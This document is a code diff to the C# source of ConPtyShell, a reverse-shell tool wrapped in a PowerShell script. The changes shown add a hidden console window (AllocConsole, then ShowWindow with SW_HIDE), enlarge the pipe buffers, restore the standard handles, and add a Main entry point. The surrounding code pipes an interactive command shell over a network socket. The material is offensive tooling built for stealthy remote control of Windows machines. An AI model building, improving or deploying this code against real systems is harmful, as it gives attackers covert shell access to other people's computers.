@@ -109,8 +109,10 @@ public static class ConPtyShell
109109 private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
110110 private const uint CREATE_NO_WINDOW = 0x08000000;
111111 private const int STARTF_USESTDHANDLES = 0x00000100;
112+ private const int BUFFER_SIZE_PIPE = 1048576;
112113
113114 private const UInt32 INFINITE = 0xFFFFFFFF;
115+ private const int SW_HIDE = 0;
114116 private const uint GENERIC_READ = 0x80000000;
115117 private const uint GENERIC_WRITE = 0x40000000;
116118 private const uint FILE_SHARE_READ = 0x00000001;
@@ -207,7 +209,7 @@ public static class ConPtyShell
207209 private static extern bool CloseHandle(IntPtr hObject);
208210
209211 [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
210- private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
212+ private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
211213
212214 [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
213215 private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
@@ -230,6 +232,19 @@ public static class ConPtyShell
230232 [DllImport("kernel32.dll", SetLastError = true)]
231233 private static extern bool GetConsoleMode(IntPtr handle, out uint mode);
232234
235+ [DllImport("kernel32.dll")]
236+ [return: MarshalAs(UnmanagedType.Bool)]
237+ private static extern bool AllocConsole();
238+
239+ [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
240+ private static extern bool FreeConsole();
241+
242+ [DllImport("user32.dll")]
243+ private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
244+
245+ [DllImport("kernel32.dll")]
246+ private static extern IntPtr GetConsoleWindow();
247+
233248 [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
234249 private static extern IntPtr GetModuleHandle(string lpModuleName);
235250
@@ -271,22 +286,33 @@ public static class ConPtyShell
271286 }
272287
273288 private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite){
274- int securityAttributeSize = Marshal.SizeOf<SECURITY_ATTRIBUTES>();
275- SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize, bInheritHandle=1, lpSecurityDescriptor=IntPtr.Zero };
276- if(!CreatePipe(out InputPipeRead, out InputPipeWrite, pSec, 0))
289+ SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
290+ pSec.nLength = Marshal.SizeOf(pSec);
291+ pSec.bInheritHandle=1;
292+ pSec.lpSecurityDescriptor=IntPtr.Zero;
293+ if(!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
277294 throw new InvalidOperationException("Could not create the InputPipe");
278- if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, pSec, 0 ))
295+ if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE ))
279296 throw new InvalidOperationException("Could not create the OutputPipe");
280297 }
281298
282- private static void InitConsole(){
299+ private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){
300+ oldStdIn = GetStdHandle(STD_INPUT_HANDLE);
301+ oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
302+ oldStdErr = GetStdHandle(STD_ERROR_HANDLE);
283303 IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
284304 IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
285305 SetStdHandle(STD_OUTPUT_HANDLE, hStdout);
286306 SetStdHandle(STD_ERROR_HANDLE, hStdout);
287307 SetStdHandle(STD_INPUT_HANDLE, hStdin);
288308 }
289309
310+ private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr){
311+ SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut);
312+ SetStdHandle(STD_ERROR_HANDLE, oldStdErr);
313+ SetStdHandle(STD_INPUT_HANDLE, oldStdIn);
314+ }
315+
290316 private static void EnableVirtualTerminalSequenceProcessing()
291317 {
292318 uint outConsoleMode = 0;
@@ -305,7 +331,10 @@ public static class ConPtyShell
305331 private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){
306332 int result = -1;
307333 EnableVirtualTerminalSequenceProcessing();
308- result = CreatePseudoConsole(new COORD { X = (short)cols, Y = (short)rows }, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole);
334+ COORD consoleCoord = new COORD();
335+ consoleCoord.X=(short)cols;
336+ consoleCoord.Y=(short)rows;
337+ result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole);
309338 return result;
310339 }
311340
@@ -318,7 +347,7 @@ public static class ConPtyShell
318347 throw new InvalidOperationException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error());
319348 }
320349 STARTUPINFOEX startupInfo = new STARTUPINFOEX();
321- startupInfo.StartupInfo.cb = Marshal.SizeOf<STARTUPINFOEX>( );
350+ startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo );
322351 startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize);
323352 success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize);
324353 if (!success)
@@ -336,9 +365,11 @@ public static class ConPtyShell
336365 private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine)
337366 {
338367 PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
339- int securityAttributeSize = Marshal.SizeOf<SECURITY_ATTRIBUTES>();
340- SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize };
341- SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize };
368+ SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
369+ int securityAttributeSize = Marshal.SizeOf(pSec);
370+ pSec.nLength = securityAttributeSize;
371+ SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
372+ tSec.nLength = securityAttributeSize;
342373 bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo);
343374 if (!success)
344375 {
@@ -419,9 +450,13 @@ public static class ConPtyShell
419450 IntPtr OutputPipeRead = new IntPtr(0);
420451 IntPtr OutputPipeWrite = new IntPtr(0);
421452 IntPtr handlePseudoConsole = new IntPtr(0);
453+ IntPtr oldStdIn = new IntPtr(0);
454+ IntPtr oldStdOut = new IntPtr(0);
455+ IntPtr oldStdErr = new IntPtr(0);
456+ bool newConsoleAllocated = false;
422457 PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION();
423458 CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite);
424- InitConsole();
459+ InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr );
425460 if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){
426461 Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n");
427462 STARTUPINFO sInfo = new STARTUPINFO();
@@ -434,6 +469,11 @@ public static class ConPtyShell
434469 }
435470 else{
436471 Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n");
472+ if(GetConsoleWindow() == IntPtr.Zero){
473+ AllocConsole();
474+ ShowWindow(GetConsoleWindow(), SW_HIDE);
475+ newConsoleAllocated = true;
476+ }
437477 int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols);
438478 if(pseudoConsoleCreationResult != 0)
439479 {
@@ -456,6 +496,9 @@ public static class ConPtyShell
456496 thReadSocketWritePipe.Abort();
457497 shellSocket.Shutdown(SocketShutdown.Both);
458498 shellSocket.Close();
499+ RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr);
500+ if(newConsoleAllocated)
501+ FreeConsole();
459502 CloseHandle(childProcessInfo.hThread);
460503 CloseHandle(childProcessInfo.hProcess);
461504 if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole);
@@ -467,7 +510,8 @@ public static class ConPtyShell
467510}
468511
469512public static class ConPtyShellMainClass{
470- private static string help = "";
513+ private static string help = @"
514+ ";
471515
472516 private static bool HelpRequired(string param)
473517 {
@@ -548,4 +592,12 @@ public static class ConPtyShellMainClass{
548592 return output;
549593 }
550594}
595+
596+
597+ class MainClass{
598+ static void Main(string[] args)
599+ {
600+ Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args));
601+ }
602+ }
551603"@ ;
0 commit comments